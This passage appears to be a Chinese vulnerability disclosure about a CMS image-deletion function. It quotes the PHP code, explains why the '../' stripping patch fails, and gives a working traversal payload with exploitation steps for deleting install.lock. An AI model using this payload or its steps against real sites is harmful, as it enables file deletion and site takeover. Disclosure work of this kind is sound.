}
这个文件下还所有一个del函数：
public function delpic()
{
if(empty($_POST['picname'])) $this->error('参数错误~');
$picname=trim($_POST['picname']);
$picname=str_replace('../', '', $picname);
$picname=str_replace('./', '', $picname);
$path=$this->uploadpath;
$lasts=strtolower(substr($picname,-3));
if(in_array($lasts,array('gif','jpg','png','bmp'))){
if(file_exists($path.$picname)) @unlink($path.$picname);
else exit('图片不存在~');
if(file_exists($path.'thumb_'.$picname)) @unlink($path.'thumb_'.$picname);
else exit('缩略图不存在~');
echo '原图以及缩略图删除成功~';
}else echo $lasts;
}
这两行：
$picname=str_replace('../', '', $picname);
$picname=str_replace('./', '', $picname);
应该就是官方给出的修复补丁，然并卵。
参数构造：photolist[]=.....///.....///protected/apps/install/install.lock
这样还是能绕过补丁的！
利用方法跟之前一样：先注册一个用户，然后添加一个图集，添加的时候抓包。post加上这段：photolist[]=.....///.....///protected/apps/install/install.lock
添加成功之后再回到图集列表，删除添加的图集就可以了！
后台getshell我就不说了，之前的大牛提交过了！
